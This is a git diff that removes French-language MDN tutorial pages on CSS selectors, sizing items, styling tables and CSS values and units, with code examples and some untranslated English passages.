Le sélecteur universel est indiqué par un astérisque (*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}

- -

On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous.

- -

Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles

- -

On peut utiliser * pour rendre les sélecteurs plus lisibles, pour clarifier leur  fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément <article> pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les pseudo-classes et pseudo-éléments :  

- -
article :first-child {
-
-}
- -

On peut néanmoins confondre ce sélecteur avec article:first-child ciblant les éléments <article>  qui sont le premier descendant d'un élément.

- -

Pour éviter cette confusion, on peut ajouter le sélecteur universel * à  :first-child,  le fonctionnement de ce dernier sera plus clair : il cible tout élément premier descendant d'un élément <article> :

- -
article *:first-child {
-
-}
- -

Sélecteurs de classe

- -

Le sélecteur de classe commence par un point  . et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée .highlight et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}

- -

Cibler des classes d'un élément donné

- -

On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe highlight met en surbrillance, mais elle le fait différemment quand elle s'applique à un <span> ou à un titre <h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}

- -

Cette approche rend le CSS moins réutilisable : la déclaration ne s'applique qu'à ces éléments particuliers, et il faudrait ajouter un nouveau sélecteur pour que la règle parvienne à cibler d'autres éléments.

- -

Cibler un élément appartenant à plus d'une classe

- -

Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site.

- -

L'exemple ci-dessous présente trois <div> contenant chacun une note. Si la boîte est dans la classe  notebox elle a une bordure grise. Si de plus elle est dans la classe warning ou danger, on change la {{cssxref("border-color")}}.

- -

On indique au navigateur la combinaison de classes ciblée en enchaînant les sélecteurs de classe sans laisser d'espace entre.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}

- -

Sélecteurs d'ID

- -

Un sélecteur d'ID commence par un # plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'id associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant :

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}

- -
-

Note : Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera.

-
- -

Prochain article

- -

Notre exploration des sélecteurs se poursuit par l'étude des sélecteurs d'attributs.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/sizing_items_in_css/index.html b/files/fr/apprendre/css/building_blocks/sizing_items_in_css/index.html deleted file mode 100644 index 8349fb5a59..0000000000 --- a/files/fr/apprendre/css/building_blocks/sizing_items_in_css/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Définir la taille des éléments en CSS -slug: Apprendre/CSS/Building_blocks/Sizing_items_in_CSS -translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}
- -
- -
Dans les différentes leçons vues jusqu'à présent vous avez rencontré de nombreuses manières de dimensionner les éléments sur une page en utlisant CSS. Comprendre le dimensionnement des différentes caractéristiques de votre design est important. Cette leçon résumera les diverses méthodes pour appliquer une taille via CSS et définira également quelques termes au sujet du dimensionnement qui vous aiderons dans le futur.
- -
- - - - - - - - - - - - -
Prérequis: -

Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.

-
Objectif:Découvrir comment spécifier la taille des éléments en CSS.
- -

La taille naturelle ou intrinsèque des choses

- -

Tous les éléments HTML ont une taille "naturelle", définie avant toute modification par CSS. Un exemple parlant est celui d'un élément image. Une image a une largeur et une hauteur définies dans le fichier image qu'elle incorpore dans la page. On parle d'une taille intrinsèque — qui provient de l'image elle même.

- -

Si vous placer une image dans une page sans modifier sa hauteur ni sa largeur (que ce soit à en utilisant un attribut sur la balise <img> ou avec CSS), cela l'affichera en utilisant sa taille intrasèque. Ci-dessous nous avons l'exemple d'une image à laquelle nous avons ajouté une bordure afin de bien délimiter sa taille.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}

- -

Un élément {{htmlelement("div")}} vide en revanche, n'a pas de taille en soi. Si vous ajouter une {{htmlelement("div")}} à votre HTML sans aucun contenu à l'intérieur,et que vous lui ajouter une bordure comme nous l'avons fait avec l'image ci-dessus, vous verrez une ligne s'afficher sur la page. Cette ligne résulte de la juxtaposition des bordures horizontales, car il n'y a aucun contenu entre les deux. De plus les bordures s'étendent sur toute la largeur disponible du conteneur, car il s'agit d'un élément de bloc. Un comportement avec lequel vous devriez déjà être familiarisé. Cet élément n'a pas de hauteur (ou plutôt pas de taille dans l'axe de bloc) car il n'y a pas de contenu à l'interieur de celui ci.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}

- -

Dans l'exemple ci-dessus; essayez d'ajouter du texte a l'interieur de l'élément vide. Les bordures contiennent maintenant ce texte car la hauteur de l'élément est définie par son contenu. De plus, la taille de cette <div> dans l'axe de bloc provient maintenant de la taille du contenu. Là aussi il s'agit de la taille intrasèque de l'élément — sa taille est définie par son contenu.

- -

Spécifier une taille

- -

Nous pouvons bien entendu donner une taille spécifique aux éléments. Quand une taille est ainsi donnée à un élément (et que son contenu est adapté à cette taille), nous parlons de taille extrinsèque. Reprenons notre <div> de l'exemple précédent — nous pouvons lui donner une  {{cssxref("width")}} spécifique et une {{cssxref("height")}} spécifique, l'élément à désormais une taille définie peu importe ce qui est placé à l'interieur de celui ci. Comme nous l'avons appris dans notre précédente leçon sur le concept d'overflow, une hauteur définie peut générer un débordement du contenu si celui ci est plus important que l'espace alloué par son conteneur.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}

- -

Du fait de ce comportement parfois inattendu, fixer la hauteur d'un élément avec une longueur ou en pourcentage est une pratique à utiliser avec parcimonie sur le web.

- -

Avec les pourcentages

- -

De bien des manières, les pourcentages agissent de la même manière que les unités de longueur, et comme nous l'avons vu dans la leçon sur les valeurs et unités en CSS, ils peuvent souvent être utilisés de manière interchangeable avec les unités de longueur. Lorsque vous utilisez les pourcentages vous devez seulement être conscient de la valeur auquelle se réfère le pourcentage. Si vous donnez à un bloc enfant une largeur définie en pourcentage, celui ci correspond à un pourcentage de la largeur du conteneur parent.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}

- -

En effet, les pourcentages sont determinés en fonction de la taille de l'élément parent. Si aucun pourcentage n'est spécifié, notre <div> prendra 100% de l'espace disponible (car il s'agit du comportement par défaut d'un élément de type bloc). En revanche si nous lui donnons une largeur en pourcentage, ce pourcentage fera référence à l'espace que la <div> aurait normalement occupé dans l'élément parent.

- -

Marges et remplissage en pourcentages

- -

Si vous définissez les margins (marges exterieurs) et les paddings (marges intérieurs) avec des pourcentages, vous noterez un comportement inattendu. Dans l'exemple ci-dessous nous avons une boite. Nous avons défini la propriété {{cssxref("margin")}} à 10% et la propriété {{cssxref("padding")}} à 10% également. Les marges intérieurs et exterieurs sur le haut et le bas de la boite ont la même taille que les marges extérieurs sur la gauche et la droite.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}

- -

You might expect for example the percentage top and bottom margins to be a percentage of the element's height, and the percentage left and right margins to be a percentage of the element's width. However, this is not the case!

- -

When you use margin and padding set in percentages, the value is calculated from the inline size — therefore the width when working in a horizontal language. In our example, all of the margins and padding are 10% of the width. This means you can have equal sized margins and padding all round the box. This is a fact worth remembering if you do use percentages in this way.

- -

tailles min- et max- 

- -

In addition to giving things a fixed size, we can ask CSS to give an element a minimum or a maximum size. If you have a box that might contain a variable amount of content, and you always want it to be at least a certain height, you could set the {{cssxref("min-height")}} property on it. The box will always be at least this height, but will then grow taller if there is more content than the box has space for at its minimum height.

- -

In the example below you can see two boxes, both with a defined height of 150 pixels. The box on the left is 150 pixels tall; the box on the right has content that needs more room, and so it has grown taller than 150 pixels.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}

- -

This is very useful for dealing with variable amounts of content while avoiding overflow.

- -

A common use of {{cssxref("max-width")}} is to cause images to scale down if there is not enough space to display them at their intrinsic width, while making sure they don't become larger than that width.

- -

As an example, if you were to set width: 100% on an image, and its intrinsic width was smaller than its container, the image would be forced to stretch and become larger, causing it to look pixellated. If its intrinsic width were larger than its container, it would overflow it. Neither case is likely to be what you want to happen.

- -

If you instead use max-width: 100%, the image is able to become smaller than its intrinsic size, but will stop at 100% of its size.

- -

In the example below we have used the same image twice. The first image has been given width: 100% and is in a container which is larger than it, therefore it stretches to the container width. The second image has max-width: 100% set on it and therefore does not stretch to fill the container. The third box contains the same image again, also with max-width: 100% set; in this case you can see how it has scaled down to fit into the box.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}

- -

This technique is used to make images responsive, so that when viewed on a smaller device they scale down appropriately. You should however not use this technique to load in really large images and then scale them down in the browser. Images should be appropriately sized to be no larger than they need to be for the largest size they are displayed in the design. Downloading overly large images will cause your site to become slow, and it can cost users more money if they are on a metered connection.

- -
-

Note : Find out more about responsive image techniques.

-
- -

Unités de la fenêtre d'affichage

- -

La fenêtre — la surface de la page montrée par le navigateur lorsqu'on navigue sur un site — a aussi des dimensions. Certaines unités CSS sont dédiées à la description des dimensions de la fenêtre —  vw pour viewport width (largeur de la fenêtre), et vh pour viewport height (hauteur de la fenêtre). Grâce à ces unités vous pouvez dimensionner un objet en fonction de la fenêtre de l'utilisateur.

- -

1vh correspond à 1% dela hauteur de la fenêtre, 1vw à 1% sa largeur. Avec ces unités, on peut dimensionner des boîtes aussi bien que du texte. Dans l'exemple ci-dessous, la boîte a pour dimensions 20vh et 20vw. Elle contient la lettre A, de {{cssxref("font-size")}} 10vh.

- -

{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}

- -

If you change the vh and vw values this will change the size of the box or font; changing the viewport size will also change their sizes because they are sized relative to the viewport. To see the example change when you change the viewport size you will need to load the example in a new browser window that you can resize (as the embedded <iframe> that contains the example shown above is its viewport). Open the example, resize the browser window, and observe what happens to the size of the box and text.

- -

Dimensionner les objets en fonction de la fenêtre peut s'avérer utile. Par exemple, pour afficher la section principale en pleine page, il suffit de lui attribuer 100vh, cela poussera le reste du contenu sous la fenêtre ; le reste du contenu n'apparaîtra qu'en la faisant défiler.

- -

Résumé

- -

Cette leçon a voulu vous sensibiliser aux difficultés principales qu'on rencontre dès qu'on veut donner une dimension aux objets sur le Web. When you move onto CSS Layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/styling_tables/index.html b/files/fr/apprendre/css/building_blocks/styling_tables/index.html deleted file mode 100644 index 9d6087e1a4..0000000000 --- a/files/fr/apprendre/css/building_blocks/styling_tables/index.html +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Mise en page de tableaux -slug: Apprendre/CSS/Building_blocks/Styling_tables -tags: - - Article - - CSS - - Codage - - Débutant - - Guide - - HTML - - Style - - Tableaux -translation_of: Learn/CSS/Building_blocks/Styling_tables ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}
- -

Styliser un tableau HTML n'est pas le travail le plus passionnant au monde, mais ... quelquefois nous devons le faire. Cet article est un guide pour donner un bel aspect aux tableaux HTML à l'aide des fonctionnalités détaillées dans les articles précédents.

- - - - - - - - - - - - -
Prérequis:Notions de HTML (voir Introduction à HTML), tableaux en HTML (voir le module sur les tableaux HTML (TBD)) et une idée du fonctionnement des CSS (voir Introduction aux CSS.)
Objectif :Apprendre à donner effectivement un style aux tableaux HTML.
- -

Un tableau HTML typique

- -

Commençons par un tableau HTML typique. Bien, je dis typique — la plupart des exemples de tableaux HTML concernent des chaussures, ou le temps, ou des employés ... nous avons décidé de faire quelque chose de plus intéressant et notre tableau se rapportera aux célèbres groupes punk du Royaume Uni. Le balisage ressemble à quelque chose comme ceci :

- -
<table>
-  <caption>Récapitulatif des groupes punk les plus célébres du RU</caption>
-  <thead>
-    <tr>
-      <th scope="col">Groupe</th>
-      <th scope="col">Année de formation</th>
-      <th scope="col">Nombre d'albums</th>
-      <th scope="col">Morceau le plus célèbre</th>
-    </tr>
-  </thead>
-  <tbody>
-    <tr>
-      <th scope="row">Buzzcocks</th>
-      <td>1976</td>
-      <td>9</td>
-      <td>Ever fallen in love (with someone you shouldn't've)</td>
-    </tr>
-    <tr>
-      <th scope="row">The Clash</th>
-      <td>1976</td>
-      <td>6</td>
-      <td>London Calling</td>
-    </tr>
-
-      ... quelques lignes supprimées pour condenser le texte
-
-    <tr>
-      <th scope="row">The Stranglers</th>
-      <td>1974</td>
-      <td>17</td>
-      <td>No More Heroes</td>
-    </tr>
-  </tbody>
-  <tfoot>
-    <tr>
-      <th scope="row" colspan="2">Total albums</th>
-      <td colspan="2">77</td>
-    </tr>
-  </tfoot>
-</table>
- -

Le tableau est bien balisé, facile à disposer et accessible, remercions les fonctionnalités {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, etc. Malheureusement, il n'a pas un rendu bien terrible à l'écran (voyez‑le directement ici punk-bands-unstyled.html) :

- -

Liste des groupes punk du Royaume Uni

- -

Il est d'aspect resserré, difficile à lire et austère. Utilisons une règle CSS pour corriger cela.

- -

Mettre en forme notre tableau

- -

Dans cette section d'apprentissage actif, nous allons travailler le style de l'exemple de tableau ci-dessus.

- -
    -
  1. Pour débuter, faites une copie locale de l'exemple de balisage, téléchargez les images (noise.png et leopardskin.jpg) et placez les trois fichiers dans un répertoire de travail quelque part sur votre ordinateur.
    2. -
  2. Ensuite, créez un nouveau fichier nommé style.css et enregistrez‑le dans le même répertoire que les autres fichiers.
    3. -
  3. Liez le CSS au HTML en mettant la ligne suivante dans l'élément {{htmlelement("head")}} : - 
    <link href="style.css" rel="stylesheet" type="text/css">
    -
    4. -
- -

Espacement et disposition

- -

La première chose à faire est de modifier l'espacement et la disposition — le style par défaut du tableau est tellement resserré ! Pour ce faire, ajoutez la règle CSS suivante au fichier style.css :

- -
/* espacement */
-
-table {
-  table-layout: fixed;
-  width: 100%;
-  border-collapse: collapse;
-  border: 3px solid purple;
-}
-
-thead th:nth-child(1) {
-  width: 30%;
-}
-
-thead th:nth-child(2) {
-  width: 20%;
-}
-
-thead th:nth-child(3) {
-  width: 15%;
-}
-
-thead th:nth-child(4) {
-  width: 35%;
-}
-
-th, td {
-  padding: 20px;
-}
- -

Voici les choses les plus importantes à noter :

- -

Nous mettons un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous voulons encadrer l'en-tête et le pied de page du tableau plus tard — si vous n'avez pas d'encadrement général du tableau et terminez avec un espacement, l'apparence est insolite et peu cohérente.

- - - -

À ce stade, le tableau a déjà meilleure mine :

- -

Première mise en forme du tableau

- -

Simple typographie

- -

Maintenant, différencions un peu nos polices de caractère.

- -

Tout d'abord, nous avons trouvé une police sur Google Fonts convenant aux tableaux concernant les groupes punk. Vous pouvez visiter le site vous‑même et en choisir une autre si vous le souhaitez ; il vous suffit de remplacer l'élément {{htmlelement("link")}} fourni et la déclaration {{cssxref("font-family")}} personnalisée par celles données par Google Fonts.

- -

D'abord, ajoutons l'élément {{htmlelement("link")}} suivant dans l'élément HTML head, juste au‑dessus de l'élément <link> déjà présent :

- -
<link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'>
- -

Puis ajoutons le CSS suivant dans le fichier style.css :

- -
/* typographie */
-
-html {
-  font-family: 'helvetica neue', helvetica, arial, sans-serif;
-}
-
-thead th, tfoot th {
-  font-family: 'Rock Salt', cursive;
-}
-
-th {
-  letter-spacing: 2px;
-}
-
-td {
-  letter-spacing: 1px;
-}
-
-tbody td {
-  text-align: center;
-}
-
-tfoot th {
-  text-align: right;
-}
- -

Rien de propre aux tableaux ici ; nous modifions simplement le style de la police pour faciliter la lecture.

- - - -

Cela fait un peu plus propre :

- -

Deuxième mise en forme : modifications des polices de caractères.

- -

Graphisme et couleurs

- -

Maintenant, graphisme et couleurs ! Comme ce tableau est plein de postures punk, nous allons lui donner un style assez clinquant qui devrait lui convenir. Pas de problème, vous n'avez pas à rendre vos tableaux autant tape à l'œil — vous pouvez opter pour quelque chose de plus subtil et de bon goût.

- -

Commençons par ajouter le CSS suivant à la fin du fichier style.css :

- -
thead, tfoot {
-  background: url(leopardskin.jpg);
-  color: white;
-  text-shadow: 1px 1px 1px black;
-}
-
-thead th, tfoot th, tfoot td {
-  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
-  border: 3px solid purple;
-}
-
- -

Encore une fois, il n'y a rien de propre aux tableaux ici, mais cela vaut la peine de noter certaines choses.

- -

Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de  {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible.

- -

Nous avons également ajouté un gradient linéaire aux éléments {{htmlelement("th")}}} et {{htmlelement("td")}}} à l'intérieur de l'en-tête et du pied de page pour donner un peu de texture ainsi qu'un cadre mauve brillant. Il est utile d'avoir plusieurs éléments imbriqués disponibles pour pouvoir superposer les styles. Oui, nous aurions pu mettre image de fond et gradient linéaire sur les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}}} en utilisant plusieurs images de fond, mais nous avons décidé de le faire séparément pour le bénéfice des navigateurs plus anciens qui ne prennent pas en charge plusieurs images de fond ou gradients linéaires.

- -

Zébrures

- -

Nous avons souhaité dédier un paragraphe séparé à la  mise en place de zèbrures — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier style.css :

- -
tbody tr:nth-child(odd) {
-  background-color: #ff33cc;
-}
-
-tbody tr:nth-child(even) {
-  background-color: #e495e4;
-}
-
-tbody tr {
-  background-image: url(noise.png);
-}
-
-table {
-  background-color: #ff33cc;
-}
- - - -

Et voici l'explosion de couleurs résultante :

- -

Troisième mise en forme : coloriage agressif

- -

Maintenant, peut-être trouverez‑vous que nous avons forcé la dose et que ce n'est pas à votre goût, mais ce que nous avons essayé de montrer ici est que les tableaux ne sont pas forcément ennuyeux ou académiques.

- -

Styliser l'intitulé

- -

Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier style.css  :

- -
caption {
-  font-family: 'Rock Salt', cursive;
-  padding: 20px;
-  font-style: italic;
-  caption-side: bottom;
-  color: #666;
-  text-align: right;
-  letter-spacing: 1px;
-}
- -

Rien de remarquable ici, sauf pour la propriété {{cssxref("caption-side")}} à laquelle on a donné la valeur bottom. Elle a pour effet de positionner la légende au bas du tableau, ce qui, avec les autres déclarations, nous donne ce look final (voir en direct sur punk-bands-complete.html) :

- -

Quatrième mise en forme : l'intitulé est disposé en bas à droite à la manière d'une légende de dessin

- -

Apprentissage actif : mettez en page votre propre tableau

- -

Maintenant, prenez cet exemple de tableau HTML (en tout ou en partie !) et stylisez‑le pour faire quelque chose de beaucoup mieux conçu et moins voyant que le tableau ci‑dessus.

- -

Quelques conseils rapides

- -

Avant de poursuivre, voici une liste rapide des points les plus utiles illustrés ci-dessus :

- - - -

Résumé

- -

Maintenant que nous avons franchi les hauteurs vertigineusement passionnantes des mises en page de tableaux, à quoi allons‑nous occuper notre temps ? N'ayez crainte — le chapitre qui suit donne un aperçu de certains effets avancés avec les boîtes ; certains de ces effets ne sont apparus que très récemment dans les navigateurs (comme les modes blend et les filtres), d'autres sont établis depuis plus longtemps (comme les ombrages).

- -

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}

- - - -

Dans ce module

- - diff --git a/files/fr/apprendre/css/building_blocks/values_and_units/index.html b/files/fr/apprendre/css/building_blocks/values_and_units/index.html deleted file mode 100644 index 59fe695fe4..0000000000 --- a/files/fr/apprendre/css/building_blocks/values_and_units/index.html +++ /dev/null @@ -1,392 +0,0 @@ ---- -title: Valeurs et unités CSS -slug: Apprendre/CSS/Building_blocks/Values_and_units -translation_of: Learn/CSS/Building_blocks/Values_and_units ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}
- -

Chaque propriété utilisée en CSS a un type de valeur définissant un ensemble de valeurs autorisées pour cette propriété. Visiter des pages de propriétés sur MDN vous aidera à comprendre les valeurs associées à un type de valeur, qui sont valides pour une propriété particulière. Dans cette leçon nous allons observer quelques uns des types de valeurs les plus fréquemment utilisés, et leurs valeurs et unités les plus communes.

- - - - - - - - - - - - -
Prérequis:Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif:Apprendre les différents types de valeurs et d'unités utilisés dans les propriétés CSS.
- -

Qu'est-ce qu'une valeur CSS?

- -

Dans les spécifications CSS et sur les pages de propriétés ici sur MDN, vous pourrez identifier les types de valeurs car ils sont entourés par des chevrons, tel que <color> ou <length>. Quand vous voyez le type de valeur <color>, valide pour une propriété particulière, cela signifie que vous pouvez utiliser n'importe quelle couleur valide comme valeur pour cette propriété, comme énoncé dans la page de référence de <color>.

- -
-

Note: Vous verrez également des valeurs CSS appelées types de données. Les termes sont interchangeables — Quand vous voyez quelque chose en CSS identifié comme type de données, c'est juste une façon différente de dire type de valeur. Le terme valeur se rapporte à n'importe quelle expression particulière supportée par un type de valeur que vous avez choisi d'utiliser.

-
- -
-

Note: Oui, les types de valeur CSS tendent à être indiqués par des chevrons, pour les différencier des propriétés CSS (ex: la propriété {{cssxref("color")}}, comparée au type de données <color>). Vous pourriez aussi être désorienté entre les ttypes de données CSS et les éléments HTML, car ils utilisent tous deux les chevrons, mais c'est peu probable — ils sont utilisés dans des contextes très différents.

-
- -

Dans l'exemple suivant, nous avons défini la couleur de notre titre en utilisant un mot-clé, et la couleur de fond en utilisant la fonction rgb():

- -
h1 {
-  color: black;
-  background-color: rgb(197,93,161);
-} 
-
- -

Un type de valeurs en CSS est une manière de définir un ensemble de valeurs autorisées. Cela signifie que si vous voyez <color> comme valide, vous n'avez pas besoin de vous demander quel type de valeur vous pouvez utiliser —  mot-clés, valeurs hex, fonctions rgb(), etc. Vous pouvez utiliser n'importe quelle valeur <color> disponible, en supposant qu'elle soit supportée par votre navigateur. La pageMDN pour chaque valeur vous donnera les informations au sujet du support par le navigateur. Par exemple, si vous regardez la page <color>, vous verrez que la section sur la compatibilité des navigateurs liste différents types de valeurs pour "color" et le support.

- -

Observons quelques uns des types de valeurs et d'unités que vous pouvez fréquemment rencontrer, avec des exemples, pour que vous puissiez essayer différentes valeurs possibles.

- -

Nombres, longueurs et pourcentages

- -

Il éxiste de nombreux types de valeurs numériques que vous pourrez trouver vous même en utilisant CSS. Les suivants sont tous classés comme numériques:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de donnéeDescription
<integer><integer> est un nombre entier comme 1024 ou -55.
<number><number> représente un nombre décimal — il peut avoir, ou non, un point décimal avec un composant fractionnaire. Par exemple, 0.255, 128, ou -1.2.
<dimension><dimension> est un <number> avec une unité attachée à lui. Par exemple, 45deg, 5s, ou 10px. <dimension> est divisé en d'autres catégories incluant les types <length>, <angle>, <time>, et <resolution>.
<percentage><percentage> représente une fraction d'une autre valeur.  Par exemple, 50%. Les valeurs de pourcentage sont toujours relatives à une qutre quantité. Par exemple, la longeur d'un élément est relative à la longueur de son élément parent.
- -

Longueurs

- -

The numeric type you will come across most frequently is <length>. For example 10px (pixels) or 30em. There are two types of lengths used in CSS — relative and absolute. It's important to know the difference in order to understand how big things will become.

- -

Absolute length units

- -

The following are all absolute length units — they are not relative to anything else, and are generally considered to always be the same size.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UnitNameEquivalent to
cmCentimeters1cm = 96px/2.54
mmMillimeters1mm = 1/10th of 1cm
QQuarter-millimeters1Q = 1/40th of 1cm
inInches1in = 2.54cm = 96px
pcPicas1pc = 1/6th of 1in
ptPoints1pt = 1/72th of 1in
pxPixels1px = 1/96th of 1in
- -

Most of these units are more useful when used for print, rather than screen output. For example, we don't typically use cm (centimeters) on screen. The only value that you will commonly use is px (pixels).

- -

Relative length units

- -

Relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the viewport. The benefit of using relative units is that with some careful planning you can make it so the size of text or other element scales relative to everything else on the page. Some of the most useful units for web development are listed in the table below.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UnitRelative to
emFont size of the parent, in the case of typographical properties like font-size, and font size of the element itself, in the case of other properties like width.
exx-height of the element's font.
chThe advance measure (width) of the glyph "0" of the element's font.
remFont size of the root element.
lhLine height of the element.
vw1% of the viewport's width.
vh1% of the viewport's height.
vmin1% of the viewport's smaller dimension.
vmax1% of the viewport's larger dimension.
- -

Exploring an example

- -

In the example below, you can see how some relative and absolute length units behave. The first box has a {{cssxref("width")}} set in pixels. As an absolute unit, this width will remain the same no matter what else changes.

- -

The second box has a width set in vw (viewport width) units. This value is relative to the viewport width, and so 10vw is 10 percent of the width of the viewport. If you change the width of your browser window, the size of the box should change. However this example is embedded into the page using an <iframe>, so this won't work. To see this in action you'll have to try the example after opening it in its own browser tab.

- -

The third box uses em units. These are relative to the font size. I've set a font size of 1em on the containing {{htmlelement("div")}}, which has a class of .wrapper. Change this value to 1.5em and you will see that the font size of all the elements increases, but only the last item will get wider, as the width is relative to that font size.

- -

After following the instructions above, try playing with the values in other ways, to see what you get.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}

- -

ems and rems

- -

em and rem are the two relative lengths you are likely to encounter most frequently when sizing anything from boxes to text. It's worth understanding how these work, and the differences between them, especially when you start getting on to more complex subjects like styling text or CSS layout. The below example provides a demonstration.

- -

The HTML is a set of nested lists — we have three lists in total and both examples have the same HTML. The only difference is that the first has a class of ems and the second a class of rems.

- -
